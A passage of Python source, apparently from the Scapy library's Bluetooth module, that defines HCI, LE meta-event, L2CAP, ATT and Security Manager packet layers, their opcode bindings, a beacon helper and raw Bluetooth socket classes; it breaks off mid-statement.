ByteField('authentication_requirements', 0x00) ] class HCI_Event_LE_Meta(Packet): """ 7.7.65 LE Meta event """ name = "HCI_LE_Meta" fields_desc = [ByteEnumField("event", 0, { 0x01: "connection_complete", 0x02: "advertising_report", 0x03: "connection_update_complete", 0x04: "read_remote_features_page_0_complete", 0x05: "long_term_key_request", 0x06: "remote_connection_parameter_request", 0x07: "data_length_change", 0x08: "read_local_p256_public_key_complete", 0x09: "generate_dhkey_complete", 0x0a: "enhanced_connection_complete_v1", 0x0b: "directed_advertising_report", 0x0c: "phy_update_complete", 0x0d: "extended_advertising_report", 0x29: "enhanced_connection_complete_v2" }), ] def answers(self, other): if not self.payload: return False # Delegate answers to payload return self.payload.answers(other) class HCI_Cmd_Complete_Read_Local_Name(Packet): """ 7.3.12 Read Local Name command complete """ name = 'Read Local Name command complete' fields_desc = [StrFixedLenField('local_name', '', length=248)] class HCI_Cmd_Complete_Read_Local_Version_Information(Packet): """ 7.4.1 Read Local Version Information command complete """ name = 'Read Local Version Information' fields_desc = [ ByteEnumField('hci_version', 0, _bluetooth_core_specification_versions), LEShortField('hci_subversion', 0), ByteEnumField('lmp_version', 0, _bluetooth_core_specification_versions), LEShortEnumField('company_identifier', 0, BLUETOOTH_CORE_COMPANY_IDENTIFIERS), LEShortField('lmp_subversion', 0)] class HCI_Cmd_Complete_Read_Local_Extended_Features(Packet): """ 7.4.4 Read Local Extended Features command complete """ name = 'Read Local Extended Features command complete' fields_desc = [ ByteField('page', 0x00), ByteField('max_page', 0x00), XLELongField('extended_features', 0) ] class HCI_Cmd_Complete_Read_BD_Addr(Packet): """ 7.4.6 Read BD_ADDR command complete """ name = "Read BD Addr" fields_desc = [LEMACField("addr", None), ] class HCI_Cmd_Complete_LE_Read_White_List_Size(Packet): name = "LE Read White List Size" fields_desc = [ByteField("status", 0), ByteField("size", 0), ] class HCI_LE_Meta_Connection_Complete(Packet): name = "Connection Complete" fields_desc = [ByteEnumField("status", 0, {0: "success"}), LEShortField("handle", 0), ByteEnumField("role", 0, {0: "master"}), ByteEnumField("patype", 0, {0: "public", 1: "random"}), LEMACField("paddr", None), LEShortField("interval", 54), LEShortField("latency", 0), LEShortField("supervision", 42), XByteField("clock_latency", 5), ] def answers(self, other): if HCI_Cmd_LE_Create_Connection not in other: return False return (other[HCI_Cmd_LE_Create_Connection].patype == self.patype and other[HCI_Cmd_LE_Create_Connection].paddr == self.paddr) class HCI_LE_Meta_Connection_Update_Complete(Packet): name = "Connection Update Complete" fields_desc = [ByteEnumField("status", 0, {0: "success"}), LEShortField("handle", 0), LEShortField("interval", 54), LEShortField("latency", 0), LEShortField("timeout", 42), ] class HCI_LE_Meta_Advertising_Report(Packet): name = "Advertising Report" fields_desc = [ByteEnumField("type", 0, {0: "conn_und", 4: "scan_rsp"}), ByteEnumField("atype", 0, {0: "public", 1: "random"}), LEMACField("addr", None), FieldLenField("len", None, length_of="data", fmt="B"), PacketListField("data", [], EIR_Hdr, length_from=lambda pkt: pkt.len), SignedByteField("rssi", 0)] def extract_padding(self, s): return '', s class HCI_LE_Meta_Advertising_Reports(Packet): name = "Advertising Reports" fields_desc = [FieldLenField("len", None, count_of="reports", fmt="B"), PacketListField("reports", None, HCI_LE_Meta_Advertising_Report, count_from=lambda pkt: pkt.len)] class HCI_LE_Meta_Long_Term_Key_Request(Packet): name = "Long Term Key Request" fields_desc = [LEShortField("handle", 0), StrFixedLenField("rand", None, 8), XLEShortField("ediv", 0), ] class HCI_LE_Meta_Extended_Advertising_Report(Packet): name = "Extended Advertising Report" fields_desc = [ BitField("reserved0", 0, 1), BitEnumField("data_status", 0, 2, { 0b00: "complete", 0b01: "incomplete", 0b10: "incomplete_truncated", 0b11: "reserved" }), BitField("legacy", 0, 1), BitField("scan_response", 0, 1), BitField("directed", 0, 1), BitField("scannable", 0, 1), BitField("connectable", 0, 1), ByteField("reserved", 0), ByteEnumField("address_type", 0, { 0x00: "public_device_address", 0x01: "random_device_address", 0x02: "public_identity_address", 0x03: "random_identity_address", 0xff: "anonymous" }), LEMACField('address', None), ByteEnumField("primary_phy", 0, { 0x01: "le_1m", 0x03: "le_coded_s8", 0x04: "le_coded_s2" }), ByteEnumField("secondary_phy", 0, { 0x01: "le_1m", 0x02: "le_2m", 0x03: "le_coded_s8", 0x04: "le_coded_s2" }), ByteField("advertising_sid", 0xff), ByteField("tx_power", 0x7f), SignedByteField("rssi", 0x00), LEShortField("periodic_advertising_interval", 0x0000), ByteEnumField("direct_address_type", 0, { 0x00: "public_device_address", 0x01: "non_resolvable_private_address", 0x02: "resolvable_private_address_resolved_0", 0x03: "resolvable_private_address_resolved_1", 0xfe: "resolvable_private_address_unable_resolve"}), LEMACField("direct_address", None), FieldLenField("data_length", None, length_of="data", fmt="B"), PacketListField("data", [], EIR_Hdr, length_from=lambda pkt: pkt.data_length), ] def extract_padding(self, s): return '', s class HCI_LE_Meta_Extended_Advertising_Reports(Packet): name = "Extended Advertising Reports" fields_desc = [FieldLenField("num_reports", None, count_of="reports", fmt="B"), PacketListField("reports", None, HCI_LE_Meta_Extended_Advertising_Report, count_from=lambda pkt: pkt.num_reports)] bind_layers(HCI_PHDR_Hdr, HCI_Hdr) bind_layers(HCI_Hdr, HCI_Command_Hdr, type=1) bind_layers(HCI_Hdr, HCI_ACL_Hdr, type=2) bind_layers(HCI_Hdr, HCI_Event_Hdr, type=4) bind_layers(HCI_Hdr, conf.raw_layer,) conf.l2types.register(DLT_BLUETOOTH_HCI_H4, HCI_Hdr) conf.l2types.register(DLT_BLUETOOTH_HCI_H4_WITH_PHDR, HCI_PHDR_Hdr) # 7.1 LINK CONTROL COMMANDS, the OGF is defined as 0x01 bind_layers(HCI_Command_Hdr, HCI_Cmd_Inquiry, ogf=0x01, ocf=0x0001) bind_layers(HCI_Command_Hdr, HCI_Cmd_Inquiry_Cancel, ogf=0x01, ocf=0x0002) bind_layers(HCI_Command_Hdr, HCI_Cmd_Periodic_Inquiry_Mode, ogf=0x01, ocf=0x0003) bind_layers(HCI_Command_Hdr, HCI_Cmd_Exit_Peiodic_Inquiry_Mode, ogf=0x01, ocf=0x0004) bind_layers(HCI_Command_Hdr, HCI_Cmd_Create_Connection, ogf=0x01, ocf=0x0005) bind_layers(HCI_Command_Hdr, HCI_Cmd_Disconnect, ogf=0x01, ocf=0x0006) bind_layers(HCI_Command_Hdr, HCI_Cmd_Create_Connection_Cancel, ogf=0x01, ocf=0x0008) bind_layers(HCI_Command_Hdr, HCI_Cmd_Accept_Connection_Request, ogf=0x01, ocf=0x0009) bind_layers(HCI_Command_Hdr, HCI_Cmd_Reject_Connection_Response, ogf=0x01, ocf=0x000a) bind_layers(HCI_Command_Hdr, HCI_Cmd_Link_Key_Request_Reply, ogf=0x01, ocf=0x000b) bind_layers(HCI_Command_Hdr, HCI_Cmd_Link_Key_Request_Negative_Reply, ogf=0x01, ocf=0x000c) bind_layers(HCI_Command_Hdr, HCI_Cmd_PIN_Code_Request_Reply, ogf=0x01, ocf=0x000d) bind_layers(HCI_Command_Hdr, HCI_Cmd_Change_Connection_Packet_Type, ogf=0x01, ocf=0x000f) bind_layers(HCI_Command_Hdr, HCI_Cmd_Authentication_Requested, ogf=0x01, ocf=0x0011) bind_layers(HCI_Command_Hdr, HCI_Cmd_Set_Connection_Encryption, ogf=0x01, ocf=0x0013) bind_layers(HCI_Command_Hdr, HCI_Cmd_Change_Connection_Link_Key, ogf=0x01, ocf=0x0017) bind_layers(HCI_Command_Hdr, HCI_Cmd_Remote_Name_Request, ogf=0x01, ocf=0x0019) bind_layers(HCI_Command_Hdr, HCI_Cmd_Remote_Name_Request_Cancel, ogf=0x01, ocf=0x001a) bind_layers(HCI_Command_Hdr, HCI_Cmd_Read_Remote_Supported_Features, ogf=0x01, ocf=0x001b) bind_layers(HCI_Command_Hdr, HCI_Cmd_Read_Remote_Extended_Features, ogf=0x01, ocf=0x001c) bind_layers(HCI_Command_Hdr, HCI_Cmd_IO_Capability_Request_Reply, ogf=0x01, ocf=0x002b) bind_layers(HCI_Command_Hdr, HCI_Cmd_User_Confirmation_Request_Reply, ogf=0x01, ocf=0x002c) bind_layers(HCI_Command_Hdr, HCI_Cmd_User_Confirmation_Request_Negative_Reply, ogf=0x01, ocf=0x002d) bind_layers(HCI_Command_Hdr, HCI_Cmd_User_Passkey_Request_Reply, ogf=0x01, ocf=0x002e) bind_layers(HCI_Command_Hdr, HCI_Cmd_User_Passkey_Request_Negative_Reply, ogf=0x01, ocf=0x002f) bind_layers(HCI_Command_Hdr, HCI_Cmd_Remote_OOB_Data_Request_Reply, ogf=0x01, ocf=0x0030) bind_layers(HCI_Command_Hdr, HCI_Cmd_Remote_OOB_Data_Request_Negative_Reply, ogf=0x01, ocf=0x0033) # 7.2 Link Policy commands, the OGF is defined as 0x02 bind_layers(HCI_Command_Hdr, HCI_Cmd_Hold_Mode, ogf=0x02, ocf=0x0001) # 7.3 CONTROLLER & BASEBAND COMMANDS, the OGF is defined as 0x03 bind_layers(HCI_Command_Hdr, HCI_Cmd_Set_Event_Mask, ogf=0x03, ocf=0x0001) bind_layers(HCI_Command_Hdr, HCI_Cmd_Reset, ogf=0x03, ocf=0x0003) bind_layers(HCI_Command_Hdr, HCI_Cmd_Set_Event_Filter, ogf=0x03, ocf=0x0005) bind_layers(HCI_Command_Hdr, HCI_Cmd_Write_Local_Name, ogf=0x03, ocf=0x0013) bind_layers(HCI_Command_Hdr, HCI_Cmd_Read_Local_Name, ogf=0x03, ocf=0x0014) bind_layers(HCI_Command_Hdr, HCI_Cmd_Write_Connect_Accept_Timeout, ogf=0x03, ocf=0x0016) bind_layers(HCI_Command_Hdr, HCI_Cmd_Write_Extended_Inquiry_Response, ogf=0x03, ocf=0x0052) # noqa: E501 bind_layers(HCI_Command_Hdr, HCI_Cmd_Read_LE_Host_Support, ogf=0x03, ocf=0x006c) bind_layers(HCI_Command_Hdr, HCI_Cmd_Write_LE_Host_Support, ogf=0x03, ocf=0x006d) # 7.4 INFORMATIONAL PARAMETERS, the OGF is defined as 0x04 bind_layers(HCI_Command_Hdr, HCI_Cmd_Read_Local_Version_Information, ogf=0x04, ocf=0x0001) # noqa: E501 bind_layers(HCI_Command_Hdr, HCI_Cmd_Read_Local_Extended_Features, ogf=0x04, ocf=0x0004) bind_layers(HCI_Command_Hdr, HCI_Cmd_Read_BD_Addr, ogf=0x04, ocf=0x0009) # 7.5 STATUS PARAMETERS, the OGF is defined as 0x05 bind_layers(HCI_Command_Hdr, HCI_Cmd_Read_Link_Quality, ogf=0x05, ocf=0x0003) bind_layers(HCI_Command_Hdr, HCI_Cmd_Read_RSSI, ogf=0x05, ocf=0x0005) # 7.6 TESTING COMMANDS, the OGF is defined as 0x06 bind_layers(HCI_Command_Hdr, HCI_Cmd_Read_Loopback_Mode, ogf=0x06, ocf=0x0001) bind_layers(HCI_Command_Hdr, HCI_Cmd_Write_Loopback_Mode, ogf=0x06, ocf=0x0002) # 7.8 LE CONTROLLER COMMANDS, the OGF code is defined as 0x08 bind_layers(HCI_Command_Hdr, HCI_Cmd_LE_Read_Buffer_Size_V1, ogf=0x08, ocf=0x0002) bind_layers(HCI_Command_Hdr, HCI_Cmd_LE_Read_Buffer_Size_V2, ogf=0x08, ocf=0x0060) bind_layers(HCI_Command_Hdr, HCI_Cmd_LE_Read_Local_Supported_Features, ogf=0x08, ocf=0x0003) bind_layers(HCI_Command_Hdr, HCI_Cmd_LE_Set_Random_Address, ogf=0x08, ocf=0x0005) bind_layers(HCI_Command_Hdr, HCI_Cmd_LE_Set_Advertising_Parameters, ogf=0x08, ocf=0x0006) # noqa: E501 bind_layers(HCI_Command_Hdr, HCI_Cmd_LE_Set_Advertising_Data, ogf=0x08, ocf=0x0008) bind_layers(HCI_Command_Hdr, HCI_Cmd_LE_Set_Scan_Response_Data, ogf=0x08, ocf=0x0009) bind_layers(HCI_Command_Hdr, HCI_Cmd_LE_Set_Advertise_Enable, ogf=0x08, ocf=0x000a) bind_layers(HCI_Command_Hdr, HCI_Cmd_LE_Set_Scan_Parameters, ogf=0x08, ocf=0x000b) bind_layers(HCI_Command_Hdr, HCI_Cmd_LE_Set_Scan_Enable, ogf=0x08, ocf=0x000c) bind_layers(HCI_Command_Hdr, HCI_Cmd_LE_Create_Connection, ogf=0x08, ocf=0x000d) bind_layers(HCI_Command_Hdr, HCI_Cmd_LE_Create_Connection_Cancel, ogf=0x08, ocf=0x000e) # noqa: E501 bind_layers(HCI_Command_Hdr, HCI_Cmd_LE_Read_Filter_Accept_List_Size, ogf=0x08, ocf=0x000f) bind_layers(HCI_Command_Hdr, HCI_Cmd_LE_Clear_Filter_Accept_List, ogf=0x08, ocf=0x0010) bind_layers(HCI_Command_Hdr, HCI_Cmd_LE_Add_Device_To_Filter_Accept_List, ogf=0x08, ocf=0x0011) # noqa: E501 bind_layers(HCI_Command_Hdr, HCI_Cmd_LE_Remove_Device_From_Filter_Accept_List, ogf=0x08, ocf=0x0012) # noqa: E501 bind_layers(HCI_Command_Hdr, HCI_Cmd_LE_Connection_Update, ogf=0x08, ocf=0x0013) bind_layers(HCI_Command_Hdr, HCI_Cmd_LE_Read_Remote_Features, ogf=0x08, ocf=0x0016) # noqa: E501 bind_layers(HCI_Command_Hdr, HCI_Cmd_LE_Enable_Encryption, ogf=0x08, ocf=0x0019) # noqa: E501 bind_layers(HCI_Command_Hdr, HCI_Cmd_LE_Long_Term_Key_Request_Reply, ogf=0x08, ocf=0x001a) # noqa: E501 bind_layers(HCI_Command_Hdr, HCI_Cmd_LE_Long_Term_Key_Request_Negative_Reply, ogf=0x08, ocf=0x001b) # noqa: E501 # 7.7 EVENTS bind_layers(HCI_Event_Hdr, HCI_Event_Inquiry_Complete, code=0x01) bind_layers(HCI_Event_Hdr, HCI_Event_Inquiry_Result, code=0x02) bind_layers(HCI_Event_Hdr, HCI_Event_Connection_Complete, code=0x03) bind_layers(HCI_Event_Hdr, HCI_Event_Disconnection_Complete, code=0x05) bind_layers(HCI_Event_Hdr, HCI_Event_Remote_Name_Request_Complete, code=0x07) bind_layers(HCI_Event_Hdr, HCI_Event_Encryption_Change, code=0x08) bind_layers(HCI_Event_Hdr, HCI_Event_Read_Remote_Supported_Features_Complete, code=0x0b) bind_layers(HCI_Event_Hdr, HCI_Event_Read_Remote_Version_Information_Complete, code=0x0c) # noqa: E501 bind_layers(HCI_Event_Hdr, HCI_Event_Command_Complete, code=0x0e) bind_layers(HCI_Event_Hdr, HCI_Event_Command_Status, code=0x0f) bind_layers(HCI_Event_Hdr, HCI_Event_Number_Of_Completed_Packets, code=0x13) bind_layers(HCI_Event_Hdr, HCI_Event_Link_Key_Request, code=0x17) bind_layers(HCI_Event_Hdr, HCI_Event_Inquiry_Result_With_Rssi, code=0x22) bind_layers(HCI_Event_Hdr, HCI_Event_Read_Remote_Extended_Features_Complete, code=0x23) bind_layers(HCI_Event_Hdr, HCI_Event_Extended_Inquiry_Result, code=0x2f) bind_layers(HCI_Event_Hdr, HCI_Event_IO_Capability_Response, code=0x32) bind_layers(HCI_Event_Hdr, HCI_Event_LE_Meta, code=0x3e) bind_layers(HCI_Event_Command_Complete, HCI_Cmd_Complete_Read_Local_Name, opcode=0x0c14) # noqa: E501 bind_layers(HCI_Event_Command_Complete, HCI_Cmd_Complete_Read_Local_Version_Information, opcode=0x1001) # noqa: E501 bind_layers(HCI_Event_Command_Complete, HCI_Cmd_Complete_Read_Local_Extended_Features, opcode=0x1004) # noqa: E501 bind_layers(HCI_Event_Command_Complete, HCI_Cmd_Complete_Read_BD_Addr, opcode=0x1009) # noqa: E501 bind_layers(HCI_Event_Command_Complete, HCI_Cmd_Complete_LE_Read_White_List_Size, opcode=0x200f) # noqa: E501 bind_layers(HCI_Event_LE_Meta, HCI_LE_Meta_Connection_Complete, event=0x01) bind_layers(HCI_Event_LE_Meta, HCI_LE_Meta_Advertising_Reports, event=0x02) bind_layers(HCI_Event_LE_Meta, HCI_LE_Meta_Connection_Update_Complete, event=0x03) bind_layers(HCI_Event_LE_Meta, HCI_LE_Meta_Long_Term_Key_Request, event=0x05) bind_layers(HCI_Event_LE_Meta, HCI_LE_Meta_Extended_Advertising_Reports, event=0x0d) bind_layers(EIR_Hdr, EIR_Flags, type=0x01) bind_layers(EIR_Hdr, EIR_IncompleteList16BitServiceUUIDs, type=0x02) bind_layers(EIR_Hdr, EIR_CompleteList16BitServiceUUIDs, type=0x03) bind_layers(EIR_Hdr, EIR_IncompleteList32BitServiceUUIDs, type=0x04) bind_layers(EIR_Hdr, EIR_CompleteList32BitServiceUUIDs, type=0x05) bind_layers(EIR_Hdr, EIR_IncompleteList128BitServiceUUIDs, type=0x06) bind_layers(EIR_Hdr, EIR_CompleteList128BitServiceUUIDs, type=0x07) bind_layers(EIR_Hdr, EIR_ShortenedLocalName, type=0x08) bind_layers(EIR_Hdr, EIR_CompleteLocalName, type=0x09) bind_layers(EIR_Hdr, EIR_Device_ID, type=0x10) bind_layers(EIR_Hdr, EIR_TX_Power_Level, type=0x0a) bind_layers(EIR_Hdr, EIR_ClassOfDevice, type=0x0d) bind_layers(EIR_Hdr, EIR_SecureSimplePairingHashC192, type=0x0e) bind_layers(EIR_Hdr, EIR_SecureSimplePairingRandomizerR192, type=0x0f) bind_layers(EIR_Hdr, EIR_SecurityManagerOOBFlags, type=0x11) bind_layers(EIR_Hdr, EIR_PeripheralConnectionIntervalRange, type=0x12) bind_layers(EIR_Hdr, EIR_ServiceSolicitation16BitUUID, type=0x14) bind_layers(EIR_Hdr, EIR_ServiceSolicitation128BitUUID, type=0x15) bind_layers(EIR_Hdr, EIR_ServiceData16BitUUID, type=0x16) bind_layers(EIR_Hdr, EIR_PublicTargetAddress, type=0x17) bind_layers(EIR_Hdr, EIR_Appearance, type=0x19) bind_layers(EIR_Hdr, EIR_AdvertisingInterval, type=0x1a) bind_layers(EIR_Hdr, EIR_LEBluetoothDeviceAddress, type=0x1b) bind_layers(EIR_Hdr, EIR_ServiceData32BitUUID, type=0x20) bind_layers(EIR_Hdr, EIR_ServiceData128BitUUID, type=0x21) bind_layers(EIR_Hdr, EIR_URI, type=0x24) bind_layers(EIR_Hdr, EIR_Manufacturer_Specific_Data, type=0xff) bind_layers(EIR_Hdr, EIR_Raw) bind_layers(HCI_ACL_Hdr, L2CAP_Hdr,) bind_layers(L2CAP_Hdr, L2CAP_CmdHdr, cid=1) bind_layers(L2CAP_Hdr, L2CAP_CmdHdr, cid=5) # LE L2CAP Signaling Channel bind_layers(L2CAP_CmdHdr, L2CAP_CmdRej, code=1) bind_layers(L2CAP_CmdHdr, L2CAP_ConnReq, code=2) bind_layers(L2CAP_CmdHdr, L2CAP_ConnResp, code=3) bind_layers(L2CAP_CmdHdr, L2CAP_ConfReq, code=4) bind_layers(L2CAP_CmdHdr, L2CAP_ConfResp, code=5) bind_layers(L2CAP_CmdHdr, L2CAP_DisconnReq, code=6) bind_layers(L2CAP_CmdHdr, L2CAP_DisconnResp, code=7) bind_layers(L2CAP_CmdHdr, L2CAP_EchoReq, code=8) bind_layers(L2CAP_CmdHdr, L2CAP_EchoResp, code=9) bind_layers(L2CAP_CmdHdr, L2CAP_InfoReq, code=10) bind_layers(L2CAP_CmdHdr, L2CAP_InfoResp, code=11) bind_layers(L2CAP_CmdHdr, L2CAP_Create_Channel_Request, code=12) bind_layers(L2CAP_CmdHdr, L2CAP_Create_Channel_Response, code=13) bind_layers(L2CAP_CmdHdr, L2CAP_Move_Channel_Request, code=14) bind_layers(L2CAP_CmdHdr, L2CAP_Move_Channel_Response, code=15) bind_layers(L2CAP_CmdHdr, L2CAP_Move_Channel_Confirmation_Request, code=16) bind_layers(L2CAP_CmdHdr, L2CAP_Move_Channel_Confirmation_Response, code=17) bind_layers(L2CAP_CmdHdr, L2CAP_Connection_Parameter_Update_Request, code=18) bind_layers(L2CAP_CmdHdr, L2CAP_Connection_Parameter_Update_Response, code=19) bind_layers(L2CAP_CmdHdr, L2CAP_LE_Credit_Based_Connection_Request, code=20) bind_layers(L2CAP_CmdHdr, L2CAP_LE_Credit_Based_Connection_Response, code=21) bind_layers(L2CAP_CmdHdr, L2CAP_Flow_Control_Credit_Ind, code=22) bind_layers(L2CAP_CmdHdr, L2CAP_Credit_Based_Connection_Request, code=23) bind_layers(L2CAP_CmdHdr, L2CAP_Credit_Based_Connection_Response, code=24) bind_layers(L2CAP_CmdHdr, L2CAP_Credit_Based_Reconfigure_Request, code=25) bind_layers(L2CAP_CmdHdr, L2CAP_Credit_Based_Reconfigure_Response, code=26) bind_layers(L2CAP_Hdr, ATT_Hdr, cid=4) bind_layers(ATT_Hdr, ATT_Error_Response, opcode=0x1) bind_layers(ATT_Hdr, ATT_Exchange_MTU_Request, opcode=0x2) bind_layers(ATT_Hdr, ATT_Exchange_MTU_Response, opcode=0x3) bind_layers(ATT_Hdr, ATT_Find_Information_Request, opcode=0x4) bind_layers(ATT_Hdr, ATT_Find_Information_Response, opcode=0x5) bind_layers(ATT_Hdr, ATT_Find_By_Type_Value_Request, opcode=0x6) bind_layers(ATT_Hdr, ATT_Find_By_Type_Value_Response, opcode=0x7) bind_layers(ATT_Hdr, ATT_Read_By_Type_Request_128bit, opcode=0x8) bind_layers(ATT_Hdr, ATT_Read_By_Type_Request, opcode=0x8) bind_layers(ATT_Hdr, ATT_Read_By_Type_Response, opcode=0x9) bind_layers(ATT_Hdr, ATT_Read_Request, opcode=0xa) bind_layers(ATT_Hdr, ATT_Read_Response, opcode=0xb) bind_layers(ATT_Hdr, ATT_Read_Blob_Request, opcode=0xc) bind_layers(ATT_Hdr, ATT_Read_Blob_Response, opcode=0xd) bind_layers(ATT_Hdr, ATT_Read_Multiple_Request, opcode=0xe) bind_layers(ATT_Hdr, ATT_Read_Multiple_Response, opcode=0xf) bind_layers(ATT_Hdr, ATT_Read_By_Group_Type_Request, opcode=0x10) bind_layers(ATT_Hdr, ATT_Read_By_Group_Type_Response, opcode=0x11) bind_layers(ATT_Hdr, ATT_Write_Request, opcode=0x12) bind_layers(ATT_Hdr, ATT_Write_Response, opcode=0x13) bind_layers(ATT_Hdr, ATT_Prepare_Write_Request, opcode=0x16) bind_layers(ATT_Hdr, ATT_Prepare_Write_Response, opcode=0x17) bind_layers(ATT_Hdr, ATT_Execute_Write_Request, opcode=0x18) bind_layers(ATT_Hdr, ATT_Execute_Write_Response, opcode=0x19) bind_layers(ATT_Hdr, ATT_Write_Command, opcode=0x52) bind_layers(ATT_Hdr, ATT_Handle_Value_Notification, opcode=0x1b) bind_layers(ATT_Hdr, ATT_Handle_Value_Indication, opcode=0x1d) bind_layers(L2CAP_Hdr, SM_Hdr, cid=6) bind_layers(SM_Hdr, SM_Pairing_Request, sm_command=0x01) bind_layers(SM_Hdr, SM_Pairing_Response, sm_command=0x02) bind_layers(SM_Hdr, SM_Confirm, sm_command=0x03) bind_layers(SM_Hdr, SM_Random, sm_command=0x04) bind_layers(SM_Hdr, SM_Failed, sm_command=0x05) bind_layers(SM_Hdr, SM_Encryption_Information, sm_command=0x06) bind_layers(SM_Hdr, SM_Master_Identification, sm_command=0x07) bind_layers(SM_Hdr, SM_Identity_Information, sm_command=0x08) bind_layers(SM_Hdr, SM_Identity_Address_Information, sm_command=0x09) bind_layers(SM_Hdr, SM_Signing_Information, sm_command=0x0a) bind_layers(SM_Hdr, SM_Security_Request, sm_command=0x0b) bind_layers(SM_Hdr, SM_Public_Key, sm_command=0x0c) bind_layers(SM_Hdr, SM_DHKey_Check, sm_command=0x0d) ############### # HCI Monitor # ############### # https://elixir.bootlin.com/linux/v6.4.2/source/include/net/bluetooth/hci_mon.h#L27 class HCI_Mon_Hdr(Packet): name = 'Bluetooth Linux Monitor Transport Header' fields_desc = [ LEShortEnumField('opcode', None, { 0: "New index", 1: "Delete index", 2: "Command pkt", 3: "Event pkt", 4: "ACL TX pkt", 5: "ACL RX pkt", 6: "SCO TX pkt", 7: "SCO RX pkt", 8: "Open index", 9: "Close index", 10: "Index info", 11: "Vendor diag", 12: "System note", 13: "User logging", 14: "Ctrl open", 15: "Ctrl close", 16: "Ctrl command", 17: "Ctrl event", 18: "ISO TX pkt", 19: "ISO RX pkt", }), LEShortField('adapter_id', None), LEShortField('len', None) ] # https://www.tcpdump.org/linktypes/LINKTYPE_BLUETOOTH_LINUX_MONITOR.html class HCI_Mon_Pcap_Hdr(HCI_Mon_Hdr): name = 'Bluetooth Linux Monitor Transport Pcap Header' fields_desc = [ ShortField('adapter_id', None), ShortField('opcode', None) ] class HCI_Mon_New_Index(Packet): name = 'Bluetooth Linux Monitor Transport New Index Packet' fields_desc = [ ByteEnumField('bus', 0, { 0x00: "BR/EDR", 0x01: "AMP" }), ByteEnumField('type', 0, { 0x00: "Virtual", 0x01: "USB", 0x02: "PC Card", 0x03: "UART", 0x04: "RS232", 0x05: "PCI", 0x06: "SDIO" }), LEMACField('addr', None), StrFixedLenField('devname', None, 8) ] class HCI_Mon_Index_Info(Packet): name = 'Bluetooth Linux Monitor Transport Index Info Packet' fields_desc = [ LEMACField('addr', None), XLEShortField('manufacturer', None) ] class HCI_Mon_System_Note(Packet): name = 'Bluetooth Linux Monitor Transport System Note Packet' fields_desc = [ StrNullField('note', None) ] # https://elixir.bootlin.com/linux/v6.4.2/source/include/net/bluetooth/hci_mon.h#L34 bind_layers(HCI_Mon_Hdr, HCI_Mon_New_Index, opcode=0) bind_layers(HCI_Mon_Hdr, HCI_Command_Hdr, opcode=2) bind_layers(HCI_Mon_Hdr, HCI_Event_Hdr, opcode=3) bind_layers(HCI_Mon_Hdr, HCI_ACL_Hdr, opcode=5) bind_layers(HCI_Mon_Hdr, HCI_Mon_Index_Info, opcode=10) bind_layers(HCI_Mon_Hdr, HCI_Mon_System_Note, opcode=12) conf.l2types.register(DLT_BLUETOOTH_LINUX_MONITOR, HCI_Mon_Pcap_Hdr) ########### # Helpers # ########### class LowEnergyBeaconHelper: """ Helpers for building packets for Bluetooth Low Energy Beacons. Implementers provide a :meth:`build_eir` implementation. This is designed to be used as a mix-in -- see ``scapy.contrib.eddystone`` and ``scapy.contrib.ibeacon`` for examples. """ # Basic flags that should be used by most beacons. base_eir = [EIR_Hdr() / EIR_Flags(flags=[ "general_disc_mode", "br_edr_not_supported"]), ] def build_eir(self): """ Builds a list of EIR messages to wrap this frame. Users of this helper must implement this method. :return: List of HCI_Hdr with payloads that describe this beacon type :rtype: list[scapy.bluetooth.HCI_Hdr] """ raise NotImplementedError("build_eir") def build_advertising_report(self): """ Builds a HCI_LE_Meta_Advertising_Report containing this frame. :rtype: scapy.bluetooth.HCI_LE_Meta_Advertising_Report """ return HCI_LE_Meta_Advertising_Report( type=0, # Undirected atype=1, # Random address data=self.build_eir() ) def build_set_advertising_data(self): """Builds a HCI_Cmd_LE_Set_Advertising_Data containing this frame. This includes the :class:`HCI_Hdr` and :class:`HCI_Command_Hdr` layers. :rtype: scapy.bluetooth.HCI_Hdr """ return HCI_Hdr() / HCI_Command_Hdr() / HCI_Cmd_LE_Set_Advertising_Data( data=self.build_eir() ) ########### # Sockets # ########### class BluetoothSocketError(BaseException): pass class BluetoothCommandError(BaseException): pass class BluetoothL2CAPSocket(SuperSocket): desc = "read/write packets on a connected L2CAP socket" def __init__(self, bt_address): if WINDOWS: warning("Not available on Windows") return s = socket.socket(socket.AF_BLUETOOTH, socket.SOCK_RAW, socket.BTPROTO_L2CAP) s.connect((bt_address, 0)) self.ins = self.outs = s def recv(self, x=MTU): return L2CAP_CmdHdr(self.ins.recv(x)) class BluetoothRFCommSocket(BluetoothL2CAPSocket): """read/write packets on a connected RFCOMM socket""" def __init__(self, bt_address, port=0): s = socket.socket(socket.AF_BLUETOOTH, socket.SOCK_RAW, socket.BTPROTO_RFCOMM) s.connect((bt_address, port)) self.ins = self.outs = s class BluetoothHCISocket(SuperSocket): desc = "read/write on a BlueTooth HCI socket" def __init__(self, iface=0x10000, type=None): if WINDOWS: warning("Not available on Windows") return s = socket.socket(socket.AF_BLUETOOTH, socket.SOCK_RAW, socket.BTPROTO_HCI) # noqa: E501 s.setsockopt(socket.SOL_HCI, socket.HCI_DATA_DIR, 1) s.setsockopt(socket.SOL_HCI, socket.HCI_TIME_STAMP, 1) s.setsockopt(socket.SOL_HCI, socket.HCI_FILTER, struct.pack("IIIh2x", 0xffffffff, 0xffffffff, 0xffffffff, 0)) # type mask, event mask, event mask, opcode # noqa: E501 s.bind((iface,)) self.ins = self.outs = s # s.connect((peer,0)) def recv(self, x=MTU): return HCI_Hdr(self.ins.recv(x)) class sockaddr_hci(ctypes.Structure): _fields_ = [ ("sin_family", ctypes.c_ushort), ("hci_dev", ctypes.c_ushort), ("hci_channel", ctypes.c_ushort), ] class _BluetoothLibcSocket(SuperSocket): def __init__(self, socket_domain, socket_type, socket_protocol, sock_address): # type: (int, int, int, sockaddr_hci) -> None if WINDOWS: warning("Not available on Windows") return # Python socket and bind implementations do not allow us to pass down # the correct parameters. We must call libc functions directly via # ctypes. sockaddr_hcip = ctypes.POINTER(sockaddr_hci) from ctypes.util import find_library libc = ctypes.cdll.LoadLibrary(find_library("c")) socket_c = libc.socket socket_c.argtypes = (ctypes.c_int, ctypes.c_int, ctypes.c_int) socket_c.restype = ctypes.c_int bind = libc.bind bind.argtypes = (ctypes.c_int, ctypes.POINTER(sockaddr_hci), ctypes.c_int) bind.restype = ctypes.c_int # Socket s = socket_c(socket_domain, socket_type, socket_protocol) if s < 0: raise BluetoothSocketError( f"Unable to open socket({socket_domain}, {socket_type}, " f"{socket_protocol})") # Bind r = bind(s, sockaddr_hcip(sock_address), sizeof(sock_address)) if r != 0: raise BluetoothSocketError("Unable to bind") self.hci_fd = s self.ins = self.outs = 